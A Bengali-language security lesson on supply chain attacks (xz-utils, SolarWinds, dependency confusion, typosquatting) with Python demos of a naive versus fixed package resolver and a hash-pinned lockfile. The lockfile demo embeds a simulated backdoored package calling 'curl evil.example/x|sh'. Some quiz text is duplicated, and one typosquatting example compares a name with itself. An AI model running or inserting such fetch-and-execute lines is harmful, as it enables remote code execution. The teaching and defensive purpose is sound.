Supply Chain Security — যখন দুর্বলতম লিংক আপনার কোড না, আপনার dependency-র dependency
Software Supply Chain Security
আপনার কোড নিখুঁত হলেও, সেই কোড যে শত-হাজার dependency-র ওপর দাঁড়িয়ে আছে তাদের একটাও malicious হলে পুরো ভরসা ধসে পড়ে — xz-utils-এর দুই-বছরের social-engineering backdoor আর dependency confusion-এর 'সর্বোচ্চ version জেতে' bug দুইটাই প্রমাণ করে আধুনিক আক্রমণকারীরা এখন কোড না, ভরসার সম্পর্কটাকেই টার্গেট করছে।
আগে এটা বুঝি
এই module-এর প্রতিটা আগের লেসন একটা নীরব assumption করেছে: bug-টা আপনার নিজের কোডে। Buffer overflow আপনার C ফাংশনে, SQL injection আপনার query-বিল্ডিং কোডে, XSS আপনার template-এ। STRIDE লেসনের NoteShare-ও তাই — প্রতিটা mitigation ধরে নিয়েছে আপনি নিজে সেই কোড লিখেছেন, নিজে সেটা review করতে পারবেন, নিজে ঠিক করতে পারবেন।
কিন্তু একটা সংখ্যা দিয়ে শুরু করা যাক। একটা মাঝারি আকারের modern
JavaScript বা Python প্রজেক্ট npm install বা pip install চালালে
সাধারণত দুই-তিনটা direct dependency ঘোষণা করে — কিন্তু সেই dependency-গুলো
নিজেরাও dependency টানে, আর তারাও, আর তারাও। ফলাফল: বাস্তব প্রজেক্টে
প্রায়ই কয়েকশো থেকে কয়েক হাজার transitive dependency ইনস্টল হয়ে যায় —
এমন কোড যা আপনি কখনো পড়েননি, লেখেননি, review করেননি, অথচ আপনার
production সার্ভারে ঠিক ততটাই ক্ষমতা নিয়ে চলে যতটা আপনার নিজের কোডের আছে।
Threat-modeling-stride লেসনের ভাষায় বললে: আপনার attack surface
আপনার নিজের repository-র সীমানায় থেমে থাকে না — এটা সেই পুরো dependency
tree জুড়ে বিস্তৃত, যার প্রতিটা node-এ কেউ একজন বসে আছে যাকে আপনি কখনো
চেনেন না, ভেট করেননি, অথচ সম্পূর্ণ বিশ্বাস করে বসে আছেন।
আক্রমণকারীরা এই fact-টা বুঝে ফেলেছে। কোনো নির্দিষ্ট কোম্পানির defense
ভাঙার বদলে, একটা জনপ্রিয় package-এর ভেতরে ঢুকে পড়লে সেই package যত
হাজার প্রজেক্টে ব্যবহৃত হয়, একবারেই তত হাজার টার্গেটে পৌঁছানো যায় — এই
লেসনের কেন্দ্রীয় case study, ২০২৪-এর xz-utils backdoor, ঠিক এই লজিকের
ওপর দাঁড়িয়ে ছিল: একজনও victim-এর কোনো ভুল ছাড়াই, শুধু “trusted
dependency আপডেট করা”-র মতো সম্পূর্ণ নিরীহ একটা কাজ করেই পুরো বিশ্বের
লক্ষ লক্ষ Linux সার্ভার এক আক্রমণকারীর remote-code-execution-এর নাগালে
চলে যাচ্ছিল।
আজকের যাত্রা চার ধাপে: প্রথমে xz-utils-এর গল্প — কীভাবে বছরের-পর-বছর
ধরে সামাজিক প্রকৌশল দিয়ে trust অর্জন করে একটা backdoor বসানো হয়েছিল,
আর কীভাবে নিছক ভাগ্যক্রমে ধরা পড়ল। তারপর dependency confusion —
এমন একটা আক্রমণ যেখানে কোনো social engineering-ই লাগে না, শুধু একটা
package-resolution bug-ই যথেষ্ট — নিজে কোড চালিয়ে দেখাব ঠিক কীভাবে।
এরপর সংক্ষেপে typosquatting। শেষে চারটা বাস্তব mitigation — lockfile
hash-pinning, SBOM, reproducible build, dependency-minimization — যেগুলো
আসলে threat-modeling-stride-এর least-privilege আর attack-surface-হ্রাসের
নীতিরই dependency-স্তরের প্রয়োগ।
মূল ধারণা
Supply chain attack — সংজ্ঞা আর তিনটা প্রধান রূপ
Supply chain attack মানে
আক্রমণকারী আপনার সিস্টেমকে সরাসরি টার্গেট না করে, আপনার সিস্টেম যে
component/tool/library-র ওপর নির্ভর করে তাকে টার্গেট করে — আপনি সেই
compromised component-কে বিশ্বাস করে ইনস্টল করেন, আর সেই বিশ্বাসটাই
আক্রমণের বাহন হয়ে যায়। মূল পার্থক্যটা লক্ষ্য করুন: এতদিন আমরা ধরে
নিয়েছিলাম adversary আপনার production-এ পৌঁছাতে হলে আপনার কোনো bug
exploit করবে। Supply chain attack-এ adversary-কে কোনো bug-ই দরকার
নেই — আপনি নিজেই স্বেচ্ছায় তার কোড install করেছেন।
তিনটা প্রধান রূপ আজকের বিষয়:
| রূপ | Mechanism | Attacker-এর জন্য কী লাগে |
|---|---|---|
| Compromised legitimate package | একটা সত্যিকার, জনপ্রিয়, দীর্ঘদিনের বিশ্বস্ত package-এর ভেতরে (বা তার maintainer-এর account-এ) সরাসরি malicious code ঢুকিয়ে দেওয়া | সময়, ধৈর্য, সামাজিক প্রকৌশল — কোনো technical bug লাগে না |
| Dependency confusion | Internal/private package-নামের সাথে একই নামে একটা public package প্রকাশ করে, naive resolver-কে বেশি-উচ্চ version দেখিয়ে বিভ্রান্ত করা | শুধু টার্গেট কোম্পানির internal package-নাম জানা/অনুমান করা |
| Typosquatting | জনপ্রিয় package-নামের ভুল-বানান/কাছাকাছি নামে (যেমন reqeusts বনাম requests) malicious package প্রকাশ করা | মানুষের টাইপো বা copy-paste ভুলের ওপর ভরসা |
তিনটাই একই বড় সত্যের ওপর দাঁড়িয়ে: package-ecosystem-এ (npm, PyPI, crates.io, Maven Central) একটা নাম-এর ওপর বিশ্বাস স্থাপন করাটাই মূল দুর্বলতা — নামটা কে নিয়ন্ত্রণ করছে, সেই নিশ্চয়তা resolver নিজে সবসময় দেয় না।
ভেতরে কী ঘটছে
xz-utils backdoor — ভেতরের যান্ত্রিকতা
xz-utils একটা compression library — প্রায় প্রতিটা Linux distribution-এ
প্রি-ইনস্টল থাকে, আর গুরুত্বপূর্ণভাবে, অনেক distribution-এ sshd
(OpenSSH server)-এর সাথে indirectly link হয় (via libsystemd →
liblzma dependency chain)। ২০২৪-এর মার্চে জানা যায় এই library-র
সাম্প্রতিক ভার্সনে (5.6.0, 5.6.1) ইচ্ছাকৃতভাবে বসানো একটা backdoor
ছিল — যেটা সঠিক private key দিয়ে signed একটা payload পেলে remote
attacker-কে সেই সার্ভারে authentication bypass করে বা arbitrary
command চালানোর ক্ষমতা দিত।
Social-engineering timeline — বছরের-পর-বছর ধরে trust অর্জন। আক্রমণটা কোনো এক-রাতের হ্যাক ছিল না। “Jia Tan” (JiaT75) নামের একটা identity ২০২১ সালের শেষে xz-utils প্রজেক্টে ছোট, নিরীহ contribution দিয়ে শুরু করে। প্রায় দুই বছর ধরে ধারাবাহিকভাবে legitimate patch পাঠিয়ে প্রজেক্টের একমাত্র maintainer (Lasse Collin)-এর বিশ্বাস অর্জন করে — সাথে একাধিক sock-puppet account থেকে সেই maintainer-এর ওপর “আরও active co-maintainer দরকার” চাপ তৈরি করা হয়। শেষ পর্যন্ত Jia Tan-কে co-maintainer commit-access দেওয়া হয় — এটাই মূল মুহূর্ত: এরপর থেকে malicious code সরাসরি “trusted maintainer”-এর কমিটে যেতে পারত, কোনো বাইরের review-বাইপাস লাগত না।
Backdoor কোথায় লুকানো ছিল — কোড না, build system-এ। সবচেয়ে চতুর অংশ: malicious logic মূল, human-readable C source-এ ছিল না (যেখানে code-review ধরে ফেলতে পারত)। এটা লুকানো ছিল:
- release tarball-এ থাকা কিছু test file (বাইনারি “corrupted”
.xzটেস্ট-ফিক্সচার হিসেবে দেখতে) — যেগুলো.gitignore-এ থাকায় সাধারণgit log/GitHub diff-এ দেখাই যেত না, শুধু release tarball ডাউনলোড করলে থাকত m4/build-to-host.m4নামের একটা obfuscated autoconf macro, যেটা build-time-এ সেই “টেস্ট ফাইল” থেকে payload বের করেliblzma-র build process-এর ভেতর ইনজেক্ট করত- ফলাফল: GitHub-এর source browser-এ কোড রিভিউ করলে কিছুই সন্দেহজনক দেখাত না — backdoor শুধু তখনই বাস্তবে তৈরি হতো যখন কেউ সেই official release tarball থেকে build করত
- trust buildingদুই বছরের নিরীহ contribution + sock-puppet চাপ → co-maintainer access
- source repositoryhuman-reviewable C কোডে কিছুই সন্দেহজনক নেই — এখানে review পাস হয়ে যায়
- release tarballtest-fixture ছদ্মবেশে payload, .gitignore-এ থাকায় git diff-এ অদৃশ্য
- build system (autoconf/m4)obfuscated macro payload extract করে liblzma build-এ inject করে
- distro packagingdistro maintainer-রা official tarball বিশ্বাস করে package বানায়
- production sshdlibsystemd → liblzma link chain দিয়ে backdoor সরাসরি SSH server-এর মধ্যে
কীভাবে ধরা পড়ল — বিশুদ্ধ ভাগ্য, systematic detection না।
PostgreSQL developer Andres Freund একটা সম্পূর্ণ ভিন্ন কাজ করছিলেন —
Postgres benchmark-এর জন্য micro-optimization নিয়ে কাজ করার সময় লক্ষ্য
করলেন তার Debian-sid সিস্টেমে ssh login প্রায় ০.৫ সেকেন্ড বেশি সময়
নিচ্ছে, আর valgrind-এ অস্বাভাবিক CPU ব্যবহার দেখাচ্ছে। এই ছোট
performance-regression-টা তদন্ত করতে গিয়েই পুরো backdoor উন্মোচিত হয় —
কোনো automated security scanner, কোনো code-audit প্রক্রিয়া এটা ধরেনি।
উদাহরণ
Dependency confusion — নাম-দখলের অঙ্ক
Dependency confusion-এর জন্য কোনো maintainer-account হ্যাক লাগে না, কোনো সামাজিক প্রকৌশলও লাগে না — শুধু একটা package-resolver-এর ডিজাইন-ভুল কাজে লাগানো লাগে।
সেটআপ। ধরুন ACME কোম্পানি একটা internal package লেখে, নাম
acme-billing-core (version 1.4.0), আর সেটা রাখে একটা private
package registry-তে — শুধু কোম্পানির নিজের নেটওয়ার্ক থেকে অ্যাক্সেসযোগ্য।
কোনো একদিন কোনো bug-report, open-source-এ leak হওয়া internal config
ফাইল, বা LinkedIn/job-posting থেকে এই package-নামটা বাইরের কেউ জেনে
ফেলে।
আক্রমণ। আক্রমণকারী public registry-তে (npm, PyPI) ঠিক একই
নামে — acme-billing-core — একটা package প্রকাশ করে, কিন্তু ইচ্ছাকৃতভাবে
version নম্বর দেয় 9.9.9 (internal 1.4.0-এর চেয়ে অনেক বেশি)। কোম্পানির
build tool যদি “private আর public — দুই জায়গা থেকেই candidate নিয়ে,
সবচেয়ে উচ্চ version-টাই ব্যবহার করো” এই naive নিয়মে চলে, তাহলে পরের
install build-এ সেটা নিজে থেকেই attacker-এর public, malicious
প্যাকেজ বেছে নেবে — internal, বিশ্বস্ত version-টাকে পুরোপুরি পাশ কাটিয়ে।
কোনো phishing email নেই, কোনো credential-চুরি নেই — শুধু একটা সংখ্যা
বেশি রাখাই যথেষ্ট।
নিচের টেবিলটাই পুরো মেকানিজম এক জায়গায়:
| ধাপ | কী ঘটে |
|---|---|
| ১ | ACME internal registry-তে acme-billing-core@1.4.0 প্রকাশ করে, শুধু-অভ্যন্তরীণ ব্যবহারের জন্য |
| ২ | Package-নামটা কোনোভাবে বাইরে leak হয় (config file, job posting, error message) |
| ৩ | Attacker public registry-তে একই নামে acme-billing-core@9.9.9 প্রকাশ করে |
| ৪ | ACME-র CI pipeline install চালায় — naive resolver উভয় registry স্ক্যান করে, সর্বোচ্চ version বাছে |
| ৫ | 9.9.9 (public, malicious) জেতে — এখন attacker-এর কোড ACME-র build-এর ভেতরে চলে |
এই ঠিক এই মেকানিজম-টাই Alex Birsan ২০২১ সালে ডজনখানেক বড় কোম্পানির বিরুদ্ধে ব্যবহারিকভাবে প্রমাণ করে দেখান — নিচের experiment-এ ঠিক এই লজিক-টাই কোড চালিয়ে দেখানো হবে।
ছবিতে
private registry (internal only) public registry (anyone can publish)
┌───────────────────────────┐ ┌───────────────────────────┐
│ acme-billing-core@1.4.0 │ │ acme-billing-core@9.9.9 │◄── attacker publishes
│ (legit, company-authored) │ │ (malicious payload) │ this, guessing/knowing
└─────────────┬─────────────┘ └─────────────┬─────────────┘ the internal name
│ │
└────────────────┬─────────────────────────┘
▼
naive resolver: "merge all candidates,
highest version string wins"
│
▼
picks 9.9.9 (public) — WRONG SOURCE
│
▼
CI pipeline installs attacker code
with full build/runtime privilegesলক্ষ্য করুন — এই diagram-এ কোনো trust-boundary “ভাঙা” হয়নি ঠিক STRIDE লেসনের অর্থে; বরং resolver নিজেই কোন candidate কোন trust-level-এর, সেই প্রশ্নটা জিজ্ঞেসই করেনি। পরের experiment ঠিক এই ফাঁকটা কোডে দেখাবে, আর সেটা বন্ধ করার একটাই উপায়: প্রশ্নটা resolver-এর ভেতরেই explicit করে রাখা।
নিজে চালিয়ে দেখুন
Naive resolver বনাম fixed resolver — dependency confusion আসলেই কোডে ঘটিয়ে দেখা
# dependency_confusion.py -- toy package resolver: naive "highest version wins" vs fixed
PRIVATE_REGISTRY = {
# internal-only packages, published by the company itself, never on the public index
"acme-billing-core": [("1.4.0", "private")],
"acme-auth-utils": [("2.1.0", "private")],
}
PUBLIC_REGISTRY = {
# anyone on the internet can publish here -- including an attacker who
# learns/guesses an internal package name and republishes it with a
# deliberately-higher version number, betting the resolver prefers it
"acme-billing-core": [("9.9.9", "public")], # attacker-crafted namesquat
"requests": [("2.31.0", "public")], # a normal, legitimately-public package
}
def naive_resolve(name):
"""BUG: merges both registries and picks the highest version string,
ignoring which registry it came from."""
candidates = PRIVATE_REGISTRY.get(name, []) + PUBLIC_REGISTRY.get(name, [])
if not candidates:
return None
return max(candidates, key=lambda vc: vc[0]) # "highest version wins" -- source ignored
def fixed_resolve(name):
"""FIX: if a package name is known to the private registry at all, that
registry is authoritative for it -- public candidates are never even
considered. This mirrors real fixes: scoped packages bound to one
registry, or an explicit private-index priority that does not fall
through to the public index for known-internal names."""
candidates = PRIVATE_REGISTRY[name] if name in PRIVATE_REGISTRY else PUBLIC_REGISTRY.get(name, [])
if not candidates:
return None
return max(candidates, key=lambda vc: vc[0])
PACKAGES_TO_INSTALL = ["acme-billing-core", "acme-auth-utils", "requests"]
print("-- naive resolver (highest version wins, source ignored) --")
for pkg in PACKAGES_TO_INSTALL:
version, source = naive_resolve(pkg)
flag = " <-- ATTACKER PACKAGE INSTALLED" if pkg in PRIVATE_REGISTRY and source == "public" else ""
print(f" {pkg:<20} -> version={version:<8} source={source}{flag}")
print("\n-- fixed resolver (private registry authoritative for known-internal names) --")
for pkg in PACKAGES_TO_INSTALL:
version, source = fixed_resolve(pkg)
print(f" {pkg:<20} -> version={version:<8} source={source}")প্রত্যাশিত output (deterministic — হুবহু এটাই আসবে):
-- naive resolver (highest version wins, source ignored) --
acme-billing-core -> version=9.9.9 source=public <-- ATTACKER PACKAGE INSTALLED
acme-auth-utils -> version=2.1.0 source=private
requests -> version=2.31.0 source=public
-- fixed resolver (private registry authoritative for known-internal names) --
acme-billing-core -> version=1.4.0 source=private
acme-auth-utils -> version=2.1.0 source=private
requests -> version=2.31.0 source=publicতিনটা লক্ষ্য করার মতো জিনিস: (১) acme-billing-core-এ naive resolver
সঠিক internal package-কে সম্পূর্ণ উপেক্ষা করে attacker-এর 9.9.9
বেছে নিয়েছে — শুধু সংখ্যা বেশি বলেই; (২) acme-auth-utils-এ কোনো
attacker-package ছিলই না, তাই naive resolver-ও কাকতালীয়ভাবে সঠিক
উত্তর দিয়েছে — এটাই দেখায় কেন এই bug চুপচাপ প্রজেক্টে থেকে যায়, যতদিন
না কেউ ঠিক সেই নামটা টার্গেট করে; (৩) requests-এর মতো সত্যিকারের
পাবলিক প্যাকেজে fixed resolver-ও ঠিক একই উত্তর দেয় — fix-টা পাবলিক
ecosystem-কে ভাঙে না, শুধু known-internal নামের জন্য একটা explicit
অগ্রাধিকার যোগ করে। বাস্তব দুনিয়ায় এই fix-এর রূপ হলো namespace
scoping (@acme/billing-core-এর মতো scoped package, যা নির্দিষ্ট
registry-র সাথে বাঁধা) অথবা explicit “internal package-দের জন্য
পাবলিক index-এ fallback নিষিদ্ধ” — কোনোভাবেই “just trust the highest
version number” না।
যখন একটা package-resolver শুধু version-সংখ্যা দিয়ে সিদ্ধান্ত নেয়, উৎস (source registry) আলাদা না করে, তখন একটা attacker-crafted উচ্চ-version পাবলিক প্যাকেজ স্বয়ংক্রিয়ভাবে জিতে যায় — আর এই একই bug ঠিক করতে দরকার হয় শুধু একটা explicit নিয়ম: known-internal নামের জন্য private registry-ই একমাত্র কর্তৃপক্ষ, পাবলিক candidate বিবেচনায়ই আসবে না।
নিজে বানান
LockfileGuard — hash-pinned lockfile দিয়ে স্বয়ংক্রিয়ভাবে ট্যাম্পার-করা প্যাকেজ ধরা
- একটা lockfile-model বানান যেখানে প্রতিটা dependency শুধু নাম+version না, তার exact content-এর SHA-256 hash-ও রেকর্ড করে
- একটা install() ফাংশন লিখুন যা downloaded বাইট থেকে hash বের করে lockfile-এর সাথে মেলায়, না মিললে reject করে
- একটা legit install চালিয়ে দেখান hash মিললে normal install চলে
- একই package-নাম আর version-এ কিন্তু বদলানো বাইট (compromised registry account-এর simulation) দিয়ে দেখান hash-mismatch install আটকায়
- তুলনা করুন — একটা version-only lockfile (হ্যাশ ছাড়া) এই একই attack ধরতে পারত কিনা
লক্ষ্য: dependency confusion-এ resolver “কোন উৎস” প্রশ্নটা মিস করেছিল; এখানে দেখাব আরেকটা কাছাকাছি কিন্তু আলাদা ফাঁক — এমনকি সঠিক registry থেকে সঠিক নাম-ও version-এ ইনস্টল করা হলেও, যদি সেই registry-account-ই compromise হয় (ঠিক xz-utils-এ যেমন হয়েছিল — Jia Tan-এর নিজের commit access-ই আক্রমণের বাহন ছিল), শুধু “version নম্বর মিলছে” যথেষ্ট প্রমাণ না যে বাইট বদলায়নি। Content hash pin করাই একমাত্র সরাসরি প্রমাণ।
# lockfile_pin.py -- hash-pinned lockfile catching a swapped/tampered package
import hashlib
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
# what the developer actually reviewed and approved, at install time
LEGIT_PACKAGE_BYTES = b"def add(a, b):\n return a + b\n"
# lockfile records name, resolved version, AND the exact content hash --
# not just a version string, which (as the dependency-confusion demo showed)
# can be satisfied by more than one actual file
LOCKFILE = {
"acme-mathutils": {
"version": "1.0.3",
"sha256": sha256_hex(LEGIT_PACKAGE_BYTES),
}
}
def install(name, downloaded_bytes, lockfile):
entry = lockfile.get(name)
if entry is None:
return False, "package not in lockfile -- refusing unpinned install"
actual_hash = sha256_hex(downloaded_bytes)
if actual_hash != entry["sha256"]:
return False, f"HASH MISMATCH -- expected {entry['sha256'][:16]}..., got {actual_hash[:16]}..."
return True, "hash verified, install proceeds"
print("-- installing the legitimate package bytes --")
ok, msg = install("acme-mathutils", LEGIT_PACKAGE_BYTES, LOCKFILE)
print(f" ok={ok} {msg}")
print("\n-- attacker compromises the registry account and swaps the same")
print(" version number for a backdoored file (version string unchanged) --")
TAMPERED_PACKAGE_BYTES = b"def add(a, b):\n import os; os.system('curl evil.example/x|sh')\n return a + b\n"
ok, msg = install("acme-mathutils", TAMPERED_PACKAGE_BYTES, LOCKFILE)
print(f" ok={ok} {msg}")
print("\n-- a version-only lockfile (no hash) would have accepted both --")
print(" version-only check: downloaded package claims version 1.0.3, "
"matches lockfile version 1.0.3 -> INSTALL (no way to tell bytes changed)")প্রত্যাশিত output (deterministic — SHA-256 সবসময় একই input-এ একই output দেয়):
-- installing the legitimate package bytes --
ok=True hash verified, install proceeds
-- attacker compromises the registry account and swaps the same
version number for a backdoored file (version string unchanged) --
ok=False HASH MISMATCH -- expected ba1a531f581d2e60..., got a7af06ef3c2b4753...
-- a version-only lockfile (no hash) would have accepted both --
version-only check: downloaded package claims version 1.0.3, matches lockfile version 1.0.3 -> INSTALL (no way to tell bytes changed)মূল মুহূর্ত ok=False HASH MISMATCH — version নম্বর অপরিবর্তিত থাকা
সত্ত্বেও (1.0.3 থেকে 1.0.3) বাইট বদলে যাওয়ায় hash আলাদা, আর সেটাই
ধরা পড়ে। এইটাই বাস্তব package manager-দের (npm-এর package-lock.json,
pip-এর requirements.txt --hash, Cargo-র Cargo.lock) hash-pinning
ফিচারের মূল যুক্তি — শেষ লাইনটা দেখাচ্ছে কেন শুধু version pin করাই
যথেষ্ট না, যদি সেই version-এর পেছনের বাইট বদলে যাওয়ার সুযোগ থাকে।
নিজে বাড়ান:
LOCKFILE-এ একটাsource: "private"field যোগ করুন এবংinstall()-এ dependency-confusion-এর check-টাও একসাথে বসিয়ে দিন — একটা ফাংশনে দুইটা defense একসাথে- একটা মিনিমাল SBOM (
{"name": ..., "version": ..., "sha256": ...}-এর একটা তালিকা) generate করুন পুরোLOCKFILEথেকে, আর ভাবুন — production incident-এর সময় (যেমন কোনো নতুন CVE ঘোষণা হলে) এই তালিকা কীভাবে “আমরা কি affected?” প্রশ্নের উত্তর সেকেন্ডে দিতে পারে - Reproducible build মানে হলো একই source থেকে বারবার build করলে
ঠিক একই hash-এর বাইনারি বের হওয়া —
install()ফাংশনের hash-check ধারণাটাই সম্প্রসারিত করে ভাবুন: source hash-pin করাই কি যথেষ্ট, নাকি build process-টাও deterministic হওয়া দরকার? কেন?
বাস্তব সিস্টেমে
বাস্তব জগতে supply chain attack
xz-utils (CVE-2024-3094, ২০২৪)। আগের অংশেই বিস্তারিত — এখানে
গুরুত্বপূর্ণ হলো স্কেল বোঝা: xz-utils/liblzma প্রায় প্রতিটা major
Linux distribution-এর base image-এ থাকে। যদি backdoor-টা stable
release পর্যন্ত পৌঁছাত, সম্ভাব্য impact ছিল বিশ্বব্যাপী লক্ষ লক্ষ
internet-facing SSH server — একটা single, well-hidden commit-এর মাধ্যমে।
NIST একে CVSS ১০.০ (সর্বোচ্চ সম্ভাব্য severity) দিয়েছিল।
SolarWinds / SUNBURST (২০২০)। এটা compromised-legitimate-package আক্রমণের আরেকটা classic, ভিন্ন স্তরে — এখানে টার্গেট ছিল package না, সরাসরি build pipeline। আক্রমণকারীরা SolarWinds-এর Orion software-এর build system-এ ঢুকে পড়ে, প্রতিটা নতুন compile-এ malicious code স্বয়ংক্রিয়ভাবে inject করার ব্যবস্থা করে — ফলে Orion-এর নিজস্ব, cryptographically-signed official update-ই backdoor বহন করছিল। প্রায় ১৮,০০০ organization সেই compromised update ডাউনলোড করে, যার মধ্যে ছিল একাধিক US federal agency। শিক্ষা: supply chain শুধু “কোন package আমি ইনস্টল করছি” না, “যে software আমাকে update পাঠাচ্ছে, তার নিজের build process কতটা নিরাপদ” — এই প্রশ্নও।
Dependency confusion গবেষণা (Alex Birsan, ২০২১)। Birsan এই কৌশল আবিষ্কার করেননি বরং প্রথম ব্যাপকভাবে, দায়িত্বশীলভাবে (bug-bounty প্রোগ্রামের মাধ্যমে) প্রমাণ করে দেখান — Apple, Microsoft, PayPal, Netflix, Shopify-সহ ৩৫টারও বেশি কোম্পানির internal package-নাম বের করে সেগুলোর public namesquat-সংস্করণ প্রকাশ করেন, আর দেখান সেগুলো সত্যিই সেই কোম্পানিগুলোর internal build system-এ চলে যাচ্ছে — কোনো credential চুরি ছাড়াই। এই একক গবেষণার পরে npm, PyPI-সহ প্রায় সব বড় package registry namespace-scoping-জাতীয় mitigation যোগ করে।
Typosquatting। সংক্ষেপে — python3-dateutil বনাম আসল
python-dateutil, বা crossenv বনাম crossenv-এর কাছাকাছি ভুয়া নাম
— আক্রমণকারীরা জনপ্রিয় package-এর নামের সাথে মিলিয়ে সামান্য
ভুল-বানানো নামে malicious package প্রকাশ করে, ভরসা করে যে কোনো
developer টাইপো করবে বা তাড়াহুড়োয় ভুল প্যাকেজ কপি-পেস্ট করবে।
Dependency confusion-এর সাথে পার্থক্য: dependency confusion একই নাম
ব্যবহার করে দুই registry-র মাঝের বিভ্রান্তি কাজে লাগায়, typosquatting
একই registry-তে কাছাকাছি নাম ব্যবহার করে মানুষের চোখের ভুল কাজে
লাগায় — mechanism আলাদা হলেও দুইটাই একই মূল দুর্বলতার শিকার:
package-নাম, নিজে থেকে, কোনো নিরাপত্তা-গ্যারান্টি বহন করে না।
যে ভুলগুলো সবাই করে
“আমার dependency-গুলো popular, বহু-বছরের পুরনো, হাজার হাজার star আছে — তাই নিরাপদ।”
xz-utils ঠিক এই বিভ্রান্তির সবচেয়ে বড় counter-example: এটা দশকের-পুরনো, প্রায় প্রতিটা Linux distro-তে থাকা, অত্যন্ত বিশ্বস্ত একটা library ছিল — জনপ্রিয়তা আর বয়সই আক্রমণকারীর মূল লক্ষ্য ছিল, কারণ সেটাই সবচেয়ে বেশি সংখ্যক টার্গেটে পৌঁছানোর পথ। Popularity trust বাড়ায়, কিন্তু নিরাপত্তা-গ্যারান্টি দেয় না — বরং একটা popular package compromise হলে blast radius popularity-র সাথে সমানুপাতিকভাবে বাড়ে।
“Dependency confusion ঠেকাতে internal package-নাম গোপন রাখাই যথেষ্ট।”
Security-through-obscurity এখানেও ব্যর্থ — ঠিক threat-modeling-stride লেসনের admin-panel উদাহরণের মতো। Package-নাম leak হওয়ার শত রকম পথ আছে (error message, job posting, open-source-এ ভুলবশত reference, এমনকি একটা compromised দুর্বল-নিরাপত্তার employee laptop)। প্রকৃত fix হলো resolver-এর ডিজাইনেই নিশ্চিত করা — known-internal নামের জন্য public registry কখনোই authoritative না হবে — নাম গোপন থাকুক বা না থাকুক।
“lockfile থাকলেই supply chain নিরাপদ — একবার lock করে ফেললে কাজ শেষ।”
একটা lockfile শুধু ততটাই নিরাপদ যতটা তার তৈরি হওয়ার মুহূর্তটা নিরাপদ
ছিল। যদি lockfile নিজেই একটা compromised version দিয়ে generate হয়
(যেমন dependency confusion-এর আক্রমণ সফল হওয়ার ঠিক পরের মুহূর্তে
npm install চালানো হয়), lockfile সেই malicious hash-টাকেই “সঠিক”
হিসেবে চিরস্থায়ী করে ফেলবে। Lockfile পরিবর্তন ধরতে সাহায্য করে
(একবার সঠিকভাবে তৈরি হওয়ার পরে), কিন্তু initial resolution নিজেই
সঠিক হওয়া নিশ্চিত করে না — dependency-confusion-এর mitigation আর
lockfile hash-pinning তাই দুইটা আলাদা, দুইটাই-প্রয়োজনীয় স্তর।
“Supply chain attack ঠেকানো মূলত package-registry কোম্পানিগুলোর (npm, PyPI) দায়িত্ব, আমার প্রজেক্টের না।”
Registry-রা কিছু structural mitigation দিতে পারে (namespace scoping, publish-verification), কিন্তু dependency কতটা এবং কীভাবে ব্যবহার হবে তার সিদ্ধান্ত সবসময় প্রতিটা প্রজেক্টের নিজের — hash pinning চালু করা, dependency-সংখ্যা কম রাখা, SBOM বজায় রাখা, নতুন dependency add করার আগে maintainer-এর ইতিহাস/activity যাচাই করা — এই সবই প্রজেক্ট-স্তরের সিদ্ধান্ত। SolarWinds-এর দুর্বলতা ছিল তাদের নিজের build-pipeline-এ, কোনো তৃতীয়-পক্ষ registry-তে না।
বুঝেছেন কি না দেখুন
1Supply chain attack-এর তিনটা প্রধান রূপ (compromised legitimate
package, dependency confusion, typosquatting) — প্রতিটাতে attacker-এর
ঠিক কী লাগে?
স্মরণ
Compromised legitimate package-এ সময়, ধৈর্য, আর সামাজিক প্রকৌশল (trust অর্জন করে maintainer-access পাওয়া) লাগে — কোনো technical bug লাগে না। Dependency confusion-এ শুধু টার্গেটের internal package-নাম জানা/অনুমান করা লাগে, তারপর একটা উচ্চ-version public package প্রকাশ করলেই হয়। Typosquatting-এ জনপ্রিয় নামের কাছাকাছি একটা ভুল-বানানো নাম প্রকাশ করলেই যথেষ্ট, মানুষের টাইপো-ভুলের ওপর নির্ভর করে।
2xz-utils backdoor-এ malicious payload human-readable C source-এ না
রেখে test-fixture আর build-system macro-তে লুকানো হয়েছিল। এই সিদ্ধান্ত
কী সমস্যা এড়াতে সাহায্য করেছিল আক্রমণকারীর জন্য?
যুক্তি
এড়িয়ে গেছে code review — মূলধারার C source-এ কিছু সন্দেহজনক থাকলে
maintainer বা contributor-রা দেখে ফেলার সম্ভাবনা থাকত। Test-fixture
ফাইল সাধারণত মনোযোগ দিয়ে review হয় না (binary/corrupted-data-জাতীয়
ফাইল স্বাভাবিকভাবেই এলোমেলো দেখায়), আর .gitignore-এ থাকায় সেগুলো
সাধারণ git diff/GitHub-এর কোড-ভিউতে দেখাই যেত না — শুধু release
tarball ডাউনলোড করলেই থাকত। এভাবে backdoor “কোডে আছে” অথচ “review-এ
দৃশ্যমান না” — এই দুইয়ের ফাঁকে লুকিয়ে ছিল।
3Experiment-এ acme-auth-utils-এর জন্য naive resolver আর fixed resolver
দুইটাই একই উত্তর (2.1.0, private) দিয়েছে, যদিও acme-auth-utils-এর
জন্য কোনো public candidate-ই ছিল না। এই থেকে dependency-confusion bug
সম্পর্কে কী শেখা যায় — কেন এটা প্রায়ই দীর্ঘদিন অলক্ষিত থাকে?
প্রয়োগ
acme-auth-utils-এর জন্য naive resolver আর fixed resolver
দুইটাই একই উত্তর (2.1.0, private) দিয়েছে, যদিও acme-auth-utils-এর
জন্য কোনো public candidate-ই ছিল না। এই থেকে dependency-confusion bug
সম্পর্কে কী শেখা যায় — কেন এটা প্রায়ই দীর্ঘদিন অলক্ষিত থাকে?Naive resolver-এর bug শুধু তখনই প্রকাশ পায় যখন সত্যিই একটা উচ্চ-version attacker-package public registry-তে থাকে — bug-টা resolver-এর ডিজাইনে সবসময়ই থাকে, কিন্তু তার effect নির্ভর করে বাইরের কেউ ঠিক সেই নির্দিষ্ট package-নাম টার্গেট করেছে কিনা তার ওপর। তাই একটা প্রজেক্ট মাসের-পর-মাস, এমনকি বছরের-পর-বছর “নিরাপদ” মনে হতে পারে — bug থাকা সত্ত্বেও — যতক্ষণ না কেউ সেই নির্দিষ্ট internal নামটা আবিষ্কার করে namesquat করে। এটাই কেন design-level fix (source-authority explicit করা) দরকার, শুধু “এখনো তো কোনো সমস্যা হয়নি” যথেষ্ট প্রমাণ না।
4Build অংশের lockfile hash-pinning আর experiment অংশের dependency-confusion
fix — দুইটাই “নাম/version-এর বদলে exact identity যাচাই করা” এই একই
থিমের মতো শোনায়। তবু এই দুইটা mitigation আলাদা কেন — একটা ছাড়া আরেকটা
যথেষ্ট না কেন?
